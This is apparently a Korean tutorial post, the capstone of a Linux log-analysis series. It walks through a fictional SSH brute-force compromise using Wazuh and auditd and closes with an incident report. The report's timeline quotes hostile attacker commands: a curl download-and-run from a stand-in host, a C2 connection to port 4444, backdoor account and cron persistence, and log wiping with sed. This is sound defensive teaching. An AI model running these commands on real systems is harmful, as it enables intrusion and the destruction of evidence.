Linux 로그 경로 정리 · 50/50 · Part 6. SOC / SIEM / Wazuh
선행 학습 → 20. Rocky Linux 로그 기반 초동조사 · 44. 로그 삭제·변조 흔적 분석 · 45. 로그 보존 정책과 증거 보존 · 46. Linux 로그를 SIEM으로 보내는 구조 · 47. Wazuh에서 Linux 로그 수집 구조 · 48. Linux 로그 기반 IOC 추출 · 49. Linux 로그 타임라인 분석
이번 글 → Linux 로그 경로 기반 SOC 종합 분석 실습
이어서 → 시리즈 완결 — 전체 목차에서 필요한 편으로 돌아가 복습
50편의 마지막은 최종 프로젝트입니다. 가상의 Rocky Linux 웹 서버 web01 에서 발생한 침해 의심 상황을, 이 시리즈에서 다룬 도구와 절차로 처음부터 끝까지 분석하고 Incident Report로 정리합니다.
실습 데이터 고지: 분석 대상 로그(
secure·cron·messages·audit.log, 로컬/중앙 사본)는 이 시리즈를 위해 직접 작성한 가상 시나리오 데이터입니다. IP는 문서용 대역(203.0.113.0/24, 198.51.100.0/24, 192.0.2.0/24)을 사용했습니다. 그 데이터를 입력으로 한 도구 실행 결과(ausearch, wazuh-logtest, 스크립트 출력)는 모두 Rocky Linux 9.8 실습 환경에서 실제로 실행한 결과입니다.
핵심 요약
- 13단계: 환경 → 경로 → 인증 → 권한 → 실행 → 파일 → 지속성 → 네트워크 → audit 교차검증 → IOC → 타임라인 → Alert → 초동 대응
- 결론: SSH 무차별 대입으로 deploy 계정 탈취 → root 권한 획득 → 악성 파일 설치 → 계정·cron 지속성 → 외부 C2 연결 시도 → 로그 변조
- 판정: Incident (침해 확정), 위험도 높음
| 용어 | 이 사건에서 |
|---|---|
| Event | 02:14:52 deploy 계정 SSH 로그인 성공 |
| Log | sshd[4101]: Accepted password for deploy from 203.0.113.45 ... |
| Alert | Wazuh 40112 (level 12) "Multiple authentication failures followed by a success." |
| IOC | 203.0.113.45, 198.51.100.23:4444, /usr/local/bin/.syscheck, sysbackup … |
| Evidence | SHA-256으로 봉인한 수집본 (/evidence/case-0920/original) |
| Incident | 계정 탈취 후 권한 상승·지속성 설치·로그 변조가 확인된 침해사고 |

| 분석 대상 | 경로 | 비고 |
|---|---|---|
| 인증 (로컬) | web01:/var/log/secure | 변조됨 (44편) — 참고용 |
| 인증 (중앙) | logsrv:/var/log/remote/web01/secure | 1차 소스 |
| cron | /var/log/cron | |
| 감사 | /var/log/audit/audit.log | exec_log · priv_esc · user_mod · cron_mod · net_out · log_tamper 키 |
| 수집본 | /evidence/case-0920/{original,work}/, SHA256SUMS | 45편 절차 |
단계별로 실행한 핵심 명령(모두 분석본 대상, 원본 수정 없음):
# [1] 환경
bash log-recon.sh # OS, 로깅 상태, 로그 경로, 순환 정책
# [2] 경로·수집
bash collect.sh case-0920 # 원본 → original(0400) + SHA256SUMS + work
# [3] 인증
grep 'Failed password' secure | grep -oE 'from [0-9.]+' | sort | uniq -c | sort -rn
grep 'Accepted' secure
# [4] 권한
grep -E 'sudo:.*COMMAND' secure ; ausearch -if audit.log -k priv_esc -i
# [5][6] 실행·파일
ausearch -if audit.log -k exec_log -i | grep -E '^type=(EXECVE|SYSCALL)'
# [7] 지속성
grep -E 'REPLACE|CMD' cron ; grep -E 'useradd|password changed' secure
# [8] 네트워크
ausearch -if audit.log -k net_out -i
# [9] 교차검증 (로컬 vs 중앙, 변조 행위)
comm -13 <(sort local/secure) <(sort central/secure) | wc -l ; ausearch -if audit.log -k log_tamper -i
# [10][11] IOC · 타임라인
bash ioc.sh ; bash timeline.sh
# [12] SIEM 판정
cat central/secure central/cron | /var/ossec/bin/wazuh-logtest

위 이미지는 Wazuh Manager 4.14.8(Rocky Linux 9.8 실습 환경)에 실습 시나리오 로그를 입력해 실제로 얻은 판정 결과 중 level 8 이상만 시간순으로 정리한 것입니다(100210~100212는 47편에서 작성한 커스텀 룰).
단계별 확인 결과(각 편의 실제 실행 결과 요약):
| 단계 | 결과 | 근거 편 |
|---|---|---|
| [1] 환경 | Rocky 9.8, rsyslog·auditd 사용, 중앙 전송 설정 존재 | 30, 36 |
| [3] 인증 | 203.0.113.45 실패 42회 → 02:14:52 deploy 성공(password) | 13, 48 |
| [4] 권한 | 02:15:30 sudo /bin/bash, auid=deploy → uid=root | 18, 37 |
| [5] 실행 | curl 다운로드 → bash /tmp/.x.sh | 39 |
| [6] 파일 | /usr/local/bin/.syscheck 생성(cp) | 39, 40 |
| [7] 지속성 | sysbackup 계정 생성, root crontab REPLACE, 5분 주기 실행 | 14, 18 |
| [8] 네트워크 | 02:20:02 198.51.100.23:4444 connect | 39, 48 |
| [9] 교차검증 | 로컬 secure 73줄 삭제, audit에 sed -i 기록 | 44 |
| [12] Alert | 40112(12) → 40501(15) → 2833 → 100211 → 100210 | 47 |
==================================================================
INCIDENT REPORT · Case ID: case-0920 · 작성: 2026-09-26 (KST)
※ 실습용 가상 시나리오 — 모든 시각 KST(+09:00) 기준
==================================================================
[Incident Summary]
web01 서버에서 SSH 무차별 대입으로 deploy 계정이 탈취되었고, 공격자는 sudo로 root
권한을 얻어 외부 스크립트를 내려받아 실행, 숨김 실행 파일·백도어 계정·root cron을
설치했다. 이후 외부 198.51.100.23:4444로 연결을 시도했으며, 로컬 인증 로그에서
자신의 IP 기록을 삭제했다.
[Detection Time]
최초 Alert : 2026-09-20 02:13:14 Wazuh 5712 (level 10, 무차별 대입)
주요 Alert : 2026-09-20 02:14:52 Wazuh 40112 (level 12, 실패 후 성공)
2026-09-20 02:16:40 Wazuh 40501 (level 15, 공격 후 사용자 추가)
[Affected Host]
web01 (Rocky Linux 9.8, 10.0.0.12) — 웹 서버
[Source IP]
203.0.113.45 (SSH 무차별 대입 및 로그인)
[User]
탈취 계정 : deploy (UID 1001, 비밀번호 인증)
생성 계정 : sysbackup (UID 1002, /bin/bash)
[Observed Behavior]
초기 접근(T1110.001, T1078) → 권한 상승(T1548.003) → 다운로드·실행(T1105, T1059.004)
→ 지속성: 계정(T1136.001), cron(T1053.003) → C2 의심 통신(T1071)
→ 방어 회피: 로그 삭제(T1070.002), 히스토리 삭제(T1070.003)
[Evidence] (SHA-256, /evidence/case-0920/SHA256SUMS)
secure d883e0d3e62ee9951b6087fc6259ec23c1fbfdb7c52754ff80d352bac450e1b3 (로컬, 변조본)
audit.log 9dc3cf3a2e127fd0265cace6cfb5119c906478430601a30eddcc169ef0acb894
cron 23071a918d2a7398a387b83b31165de5fb4b44fb9fc226818c8cbdc0982820e3
중앙 로그 서버 web01/secure 사본 (1차 소스)
[IOC]
IP 203.0.113.45 (공격 출발지), 198.51.100.23 (다운로드·C2 의심)
Port 4444/tcp
URL http://198.51.100.23/x.sh
File /tmp/.x.sh, /tmp/.x/syscheck, /tmp/.x/cron.txt, /usr/local/bin/.syscheck
Account sysbackup (생성), deploy (탈취)
Hash .syscheck — 파일 확보 후 기재 (현 로그에는 없음)
[Timeline]
02:13:05 SSH 실패 시작 (203.0.113.45, 42회)
02:14:52 deploy 비밀번호 로그인 성공
02:15:30 sudo /bin/bash (root 셸)
02:16:10 curl http://198.51.100.23/x.sh -o /tmp/.x.sh
02:16:15 bash /tmp/.x.sh → 02:16:17 /usr/local/bin/.syscheck 생성
02:16:40 useradd sysbackup → 02:16:48 비밀번호 설정
02:17:05 root crontab 교체 (*/5 .syscheck)
02:20:01 cron 최초 실행 → 02:20:02 198.51.100.23:4444 연결 시도
02:23:40 sed -i 로 /var/log/secure 에서 203.0.113.45 줄 삭제 (73줄)
02:23:55 /root/.bash_history 삭제
02:24:10 deploy 세션 종료 (이후 cron 5분 주기 계속)
[Analysis]
- 무차별 대입 성공 → 38초 만에 root 셸 → 2분 13초 내 지속성 2종 설치: 계획된 공격.
- auid=deploy 가 root 행위 전 과정에 유지되어 동일 세션(ses=12)의 행위로 확정.
- 로컬 secure 는 변조되어 신뢰 불가 → 중앙 사본·audit 로 복원·교차검증.
- 외부 연결은 connect 시도(EINPROGRESS)까지 확인, 실제 데이터 송수신 여부는
네트워크 장비 로그 확인 필요(분석 한계).
[Risk]
높음 — root 권한 탈취, 지속성 존재(재접속 가능), C2 통신 시도, 증거 인멸 시도.
같은 비밀번호·키를 쓰는 다른 서버로의 확산 가능성.
[Response] (초동, 증거 보존 후 순서대로)
1. 증거 보존: 로그·저널·audit 수집 + 해시, .syscheck·/tmp/.x* 파일 보존, 메모리 수집 검토
2. 격리: web01 네트워크 격리(운영 협의), 재부팅 금지
3. 차단: 203.0.113.45, 198.51.100.23 방화벽/프록시 차단
4. 계정: deploy 비밀번호 초기화·세션 종료, sysbackup 잠금(삭제는 조사 후)
5. 지속성 제거: root crontab 항목, /usr/local/bin/.syscheck (보존 후)
[Recommended Action]
- SSH 비밀번호 인증 비활성화(PasswordAuthentication no), 공개키·MFA 적용
- fail2ban / 방화벽 레이트 리밋, 관리 접속 IP 제한
- auditd 필수 룰 전 서버 배포 + -e 2 (immutable) 검토
- Wazuh 커스텀 룰(100210~100212) 운영 반영, exec_log 행위 룰 추가
- 중앙 로그 보존 기간 확대, 로그 변조 탐지 헬스 모니터링
- IOC 로 전체 서버 헌팅 (SIEM 과거 90일)
==================================================================
| 판단 | 근거 (독립 소스 수) |
|---|---|
| 계정 탈취 | secure(중앙) 실패 42 → 성공, audit USER_AUTH (2) |
| 권한 상승 | secure sudo, audit SYSCALL auid=deploy uid=root (2) |
| 지속성 | secure useradd, cron REPLACE/CMD, audit EXECVE (3) |
| 외부 통신 | audit SOCKADDR (1) → 네트워크 로그로 보강 필요 |
| 로그 변조 | 로컬·중앙 비교, audit log_tamper, 로컬 논리 모순 (3) |
근거가 하나뿐인 항목은 보고서에 분석 한계로 명시합니다.
Alert (40112) ─▶ Triage (원본 확인, 정탐) ─▶ Investigation (13단계) ─▶ IOC ─▶ Incident 판정
─▶ Response (보존→격리→차단→계정→제거) ─▶ Lessons Learned (룰·수집·정책 개선)
이 시리즈 전체가 이 흐름의 각 단계에 대응합니다: 로그 개념·경로(01~30) → 생성 구조(31~40) → 관리·무결성·증거(41~45) → SIEM·IOC·타임라인(46~49) → 종합(50).
[ ] [1] OS / 로그 환경 확인 (log-recon.sh)
[ ] [2] 주요 로그 경로 확인 + 증거 수집(collect.sh)
[ ] [3] SSH 인증 이벤트 확인
[ ] [4] sudo / 권한 상승 확인
[ ] [5] 프로세스 실행 확인
[ ] [6] 파일 생성 확인
[ ] [7] cron / systemd 지속성 확인
[ ] [8] 네트워크 연결 확인
[ ] [9] audit 로그 교차검증 (로컬 vs 중앙)
[ ] [10] IOC 추출 (ioc.sh)
[ ] [11] 타임라인 작성 (timeline.sh)
[ ] [12] SOC Alert 확인 (wazuh-logtest)
[ ] [13] 초동 대응 계획 + Incident Report
이 글로 「Linux 로그 경로 정리」 50편이 완결됩니다. 01편부터 순서대로 읽으면 "로그 개념 → 경로 → 생성 구조 → 관리·무결성 → SIEM → 침해 분석" 흐름을 따라갈 수 있습니다.
| 구분 | 글 |
|---|---|
| ◀ 이전 글 | 49. Linux 로그 타임라인 분석 |
| 시리즈 | Linux 로그 경로 정리 전체 보기 |
| 선행 시리즈 | 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 · Linux 시스템 보안 기초 |